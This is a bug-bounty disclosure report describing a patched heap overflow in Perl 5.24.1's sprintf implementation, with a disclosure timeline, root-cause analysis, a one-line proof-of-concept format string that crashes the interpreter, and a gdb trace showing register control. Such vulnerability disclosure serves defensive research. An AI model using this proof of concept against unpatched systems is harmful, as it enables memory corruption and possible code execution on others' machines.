Lucene search

K
hackeroneAerodudrizztH1:271330
HistorySep 24, 2017 - 4:13 p.m.

Internet Bug Bounty: Format string implementation vulnerability, resulting in code execution

2017-09-2416:13:07
aerodudrizzt
hackerone.com
16

In a security audit to the sprintf implementation in perl (version 5.24.1) I found a major security vulnerability, here are the full details.
Timeline:

  • 6th of May, 2017 - disclosure to the PERL security mailing list
  • 8th of May, 2017 - vulnerability confirmed by PERL’s security group, found relevant to all maintained branches
  • 9th of May, 2017 - patch issued to branches “blead”
  • 30th of May, 2017 - a patched 5.26 branch is released
  • 24th of August, 2017 - a patch was committed to the 5.24 branch, awaiting 5.24.3 release
  • 22nd of September, 2017 - 5.24.3 was released, announcing the format string vulnerability in the release notes - public disclosure by the project

Technical Details:

file: sv.c
function: Perl_sv_vcatpvfn_flags

  • precis - represents a format’s precision, and can be any size_t value
  • width - represents the format’s width, and can be any non-negative size_t value
  • Using large values can cause multiple Integer-Overflows when calculating ‘need’ = the needed allocated space for a fraction
  • line 12300: need += has_precis ? precis : 6; /* known default */
  • later on more values are added to need (need += 20, …)
  • Later on the use of ‘width’ for padding with spaces assumes that there is enough space in the buffer, causing a Buffer Overflow

PoC Script:

print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);

Crash trace - tested on a 32 bit linux machine:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0  0x080ebbe0 in Perl_runops_standard ()
#1  0x08069356 in S_fold_constants ()
#2  0x080a8336 in Perl_yyparse ()
#3  0x08083219 in perl_parse ()
#4  0x0806218c in main ()
(gdb) info reg
eax            0x20202020    538976288
ecx            0x9f72900    167192832
edx            0x0    0
ebx            0x0    0
esp            0xbfe0e8c0    0xbfe0e8c0
ebp            0x9f6c4d0    0x9f6c4d0
esi            0x9f6f58c    167179660
edi            0x0    0
eip            0x80ebbe0    0x80ebbe0 <Perl_runops_standard+16>
eflags         0x10202    [ IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>:    call   *0x8(%eax)
   0x80ebbe3 <Perl_runops_standard+19>:    test   %eax,%eax
   0x80ebbe5 <Perl_runops_standard+21>:    mov    %eax,0x8207a88
   0x80ebbea <Perl_runops_standard+26>:    
    jne    0x80ebbe0 <Perl_runops_standard+16>
   0x80ebbec <Perl_runops_standard+28>:    mov    0x8207290,%eax
   0x80ebbf1 <Perl_runops_standard+33>:    test   %eax,%eax
   0x80ebbf3 <Perl_runops_standard+35>:    
    jne    0x80ebc02 <Perl_runops_standard+50>
   0x80ebbf5 <Perl_runops_standard+37>:    movb   $0x0,0x82072b0
   0x80ebbfc <Perl_runops_standard+44>:    xor    %eax,%eax
   0x80ebbfe <Perl_runops_standard+46>:    add    $0xc,%esp

As you can see, the first %f print enlarged the buffer, and the controllable width in the second overflowed the buffer, causing eax to be corrupt (0x20 == ’ '). The program itself crashed when tried to execute a pointer pointed by the controlled eax register (+8).

Threat Analysis:

This report demonstrates a potential code execution vulnerability, in case a sprintf format will be hostile. As format string attacks are relatively more popular on C/C++ languages, they are caused by the same programming bad practices:

  • “Generic” logging \ monitoring module that receives format + args, and build the message string

Such kind of vulnerabilities are still common in modern code projects, and during my career I found such vulnerabilities even in many high-profile companies. Since Perl (such as Python, and Ruby) is a memory-managed language, the programmer relies on the interpreter to “catch” problems for him, meaning that most programmers assume that these programs won’t be vulnerable to format string attacks.

Conclusion:

The sprintf implementation has a severe vulnerability when handling a hostile format string. This vulnerability was demonstrated and can be easily leveraged into a remote code execution on the Perl interpreter (as I demonstrated previously in a similar vulnerability in a similar interpreter-based project).

Will be more than happy to answer any question regarding the ticket,
Eyal Itkin.